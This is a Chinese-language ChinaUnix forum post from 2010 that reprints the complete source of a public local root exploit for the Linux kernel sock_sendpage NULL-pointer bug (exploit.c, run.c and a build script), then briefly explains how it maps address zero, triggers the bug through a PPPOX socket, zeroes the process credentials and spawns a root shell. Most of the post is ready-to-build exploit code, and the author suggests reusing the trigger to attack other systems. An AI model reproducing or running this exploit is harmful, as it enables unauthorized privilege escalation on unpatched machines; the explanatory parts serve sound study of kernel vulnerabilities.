免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 1780 | 回复: 0
打印 上一主题 下一主题

Linux内核NULL指针引发的BUG(三)--源码 [复制链接]

论坛徽章:
36
IT运维版块每日发帖之星
日期:2016-04-10 06:20:00IT运维版块每日发帖之星
日期:2016-04-16 06:20:0015-16赛季CBA联赛之广东
日期:2016-04-16 19:59:32IT运维版块每日发帖之星
日期:2016-04-18 06:20:00IT运维版块每日发帖之星
日期:2016-04-19 06:20:00每日论坛发贴之星
日期:2016-04-19 06:20:00IT运维版块每日发帖之星
日期:2016-04-25 06:20:00IT运维版块每日发帖之星
日期:2016-05-06 06:20:00IT运维版块每日发帖之星
日期:2016-05-08 06:20:00IT运维版块每日发帖之星
日期:2016-05-13 06:20:00IT运维版块每日发帖之星
日期:2016-05-28 06:20:00每日论坛发贴之星
日期:2016-05-28 06:20:00
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2010-01-13 16:21 |只看该作者 |倒序浏览

                                                本文贴出
《Linux内核NULL指针引发的BUG(二)--剖析
》(下文简称文二)中提到全部源码。源码的链接为:
http://www.securityfocus.com/data/vulnerabilities/exploits/36038-4.tgz
本文欢迎自由转载,但请标明出处,并保证本文的完整性。
作者:Godbach
Blog:
http://Godbach.cublog.cn
日期:2010/01/13
一、源码
源码总共分为三个文件:exploit.c,run.c和run.sh。
1. exploit.c的源码如下:
               
               
                /*
* 14.08.2009, babcia padlina
*
* vulnerability discovered by google security team
*
* some parts of exploit code borrowed from vmsplice exploit by qaaz
* per_svr4 mmap zero technique developed by Julien Tinnes and Tavis Ormandy:
*     http://xorl.wordpress.com/2009/07/16/cve-2009-1895-linux-kernel-per_clear_on_setid-personality-bypass/
*/
#include stdio.h>
#include sys/socket.h>
#include sys/user.h>
#include sys/types.h>
#include sys/wait.h>
#include inttypes.h>
#include sys/reg.h>
#include unistd.h>
#include stdio.h>
#include stdlib.h>
#include sys/mman.h>
#include sys/personality.h>
static unsigned int uid, gid;
#define USER_CS    0x73
#define USER_SS    0x7b
#define USER_FL    0x246
#define STACK(x) (x + sizeof(x) - 40)
void exit_code();
char exit_stack[1024 * 1024];
static inline __attribute__((always_inline)) void *get_current()
{
    unsigned long curr;
    __asm__ __volatile__ (
        "movl %%esp, %%eax ;"
        "andl %1, %%eax ;"
        "movl (%%eax), %0"
        : "=r" (curr)
        : "i" (~8191)
    );
    return (void *) curr;
}
static inline __attribute__((always_inline)) void exit_kernel()
{
    __asm__ __volatile__ (
        "movl %0, 0x10(%%esp) ;"
        "movl %1, 0x0c(%%esp) ;"
        "movl %2, 0x08(%%esp) ;"
        "movl %3, 0x04(%%esp) ;"
        "movl %4, 0x00(%%esp) ;"
        "iret"
        : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
            "i" (USER_CS), "r" (exit_code)
        );
}
void kernel_code()
{
    int i;
    uint *p = get_current();
    for (i = 0; i  1024-13; i++) {
        if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid && p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid) {
             p[0] = p[1] = p[2] = p[3] = 0;
            p[4] = p[5] = p[6] = p[7] = 0;
            p = (uint *) ((char *)(p + 8) + sizeof(void *));
            p[0] = p[1] = p[2] = ~0;
            break;
        }
        p++;
    }
    exit_kernel();
}
void exit_code()
{
    if (getuid() != 0) {
        fprintf(stderr, "failed\n");
        exit(-1);
    }
    execl("/bin/sh", "sh", "-i", NULL);
}
int main(void) {
    char template[] = "/tmp/padlina.XXXXXX";
    int fdin, fdout;
    void *page;
    uid = getuid();
    gid = getgid();
    setresuid(uid, uid, uid);
    setresgid(gid, gid, gid);
    if ((personality(0xffffffff)) != PER_SVR4) {
        if ((page = mmap(0x0, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) {
            perror("mmap");
            return -1;
        }
    } else {
        if (mprotect(0x0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC)  0) {
            perror("mprotect");
            return -1;
        }
    }
    *(char *)0 = '\x90';
    *(char *)1 = '\xe9';
    *(unsigned long *)2 = (unsigned long)&kernel_code - 6;
    if ((fdin = mkstemp(template))  0) {
        perror("mkstemp");
        return -1;
    }
    if ((fdout = socket(PF_PPPOX, SOCK_DGRAM, 0))  0) {
        perror("socket");
        return -1;
    }
    unlink(template);
    ftruncate(fdin, PAGE_SIZE);
    sendfile(fdout, fdin, NULL, PAGE_SIZE);
}
2. run.c的代码如下:
#include sys/personality.h>
#include stdio.h>
#include unistd.h>
int main(void) {
    if (personality(PER_SVR4)  0) {
        perror("personality");
        return -1;
    }
    fprintf(stderr, "padlina z lublina!\n");
    execl("./exploit", "exploit", 0);
}
3. run.sh的代码如下:
#!/bin/sh
gcc -o run run.c && \
gcc -o exploit exploit.c && \
./run
二、简要分析
    可见,run.sh无非就是编译expolit.c和run.c并执行run程序。而run.c中其实就是先设置一下程序的执行域PER_SVR4,然后就执行exploit程序。
   那么,我们应该可以将run.c中设置执行域的那段代码放到exploit.c中main函数的开始部分,这样就可以将可执行程序合并成1个了。
   
   根据文二的分析,exploit.c中最后创建socket并调用sendfile部分的代码,即触发内核NULL pointer的代码。因为PPPOX协议的proto_ops结构并未初始化sock_sendpage函数指针。因为该函数指针指向NULL。因此,调用sendfile到内核之后,最终调用了sock_sendpage。由于其指向NULL,我们之前的代码已经将0地址进行映射,并设置为可执行。故而就执行0地址的执行,即jmp kernel_code。通过kernel_code函数,获取到了系统的root权限。
   这里还牵涉到另外一个问题,也就是通常系统是不能将0地址映射的,具体可参见
《Linux内核NULL指针引发的BUG(一)--介绍》
,简称文一。即通过sysctl变量vm.mmap_min_addr设置实现。但是一些LSM诸如SElinux对其进行了修改。这就导致了可以映射0地址。以上代码之所以可以顺利的获取到root权限就在于系统启用了SElinux模块。如果关闭SElinux,该代码就不会执行成功。
   因此,有文章就提到SElinux反而弱化了Linux系统的安全功能。我们将在下一篇文章中转载一篇SElinux Team的开发人员发表的一篇文章,谈到了他对SElinux和non-SElinux的系统安全的看法。
   
三、总结
对于这样的BUG,个人有两点内容总结:
(1)我们可以通过该Bug的利用方式,能够明白只要有相关用户态的调用切换到内核态,而内核态调用的函数指向了NULL,那么上面的代码就可以顺利的执行。
    本人曾经在开启SElinux的系统上,加载一个注册proc文件的内核模块。其中read函数里面调用了一个指向NULL的函数指针。然后将引发BUG的代码(上面的socket和sendfile)改为打开一个proc文件(调用open和read),同样获取到root用户的权限。
(2)即使在有些系统上无法顺利的利用该漏洞获取到root权限,但是只要其相关的代码没有修改,比如sock_sendpage函数调用之前仍不判断其有效性,那么我们同样可以利用exploit.c中触发BUG的代码,来攻击一个系统,至少可以上该系统的内核报出Oops。
   这也相当于为我们提供了一种挖掘Linux内核BUG的方法。
   
               
               
               
               
               
               

本文来自ChinaUnix博客,如果查看原文请点:http://blog.chinaunix.net/u/33048/showart_2147683.html
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP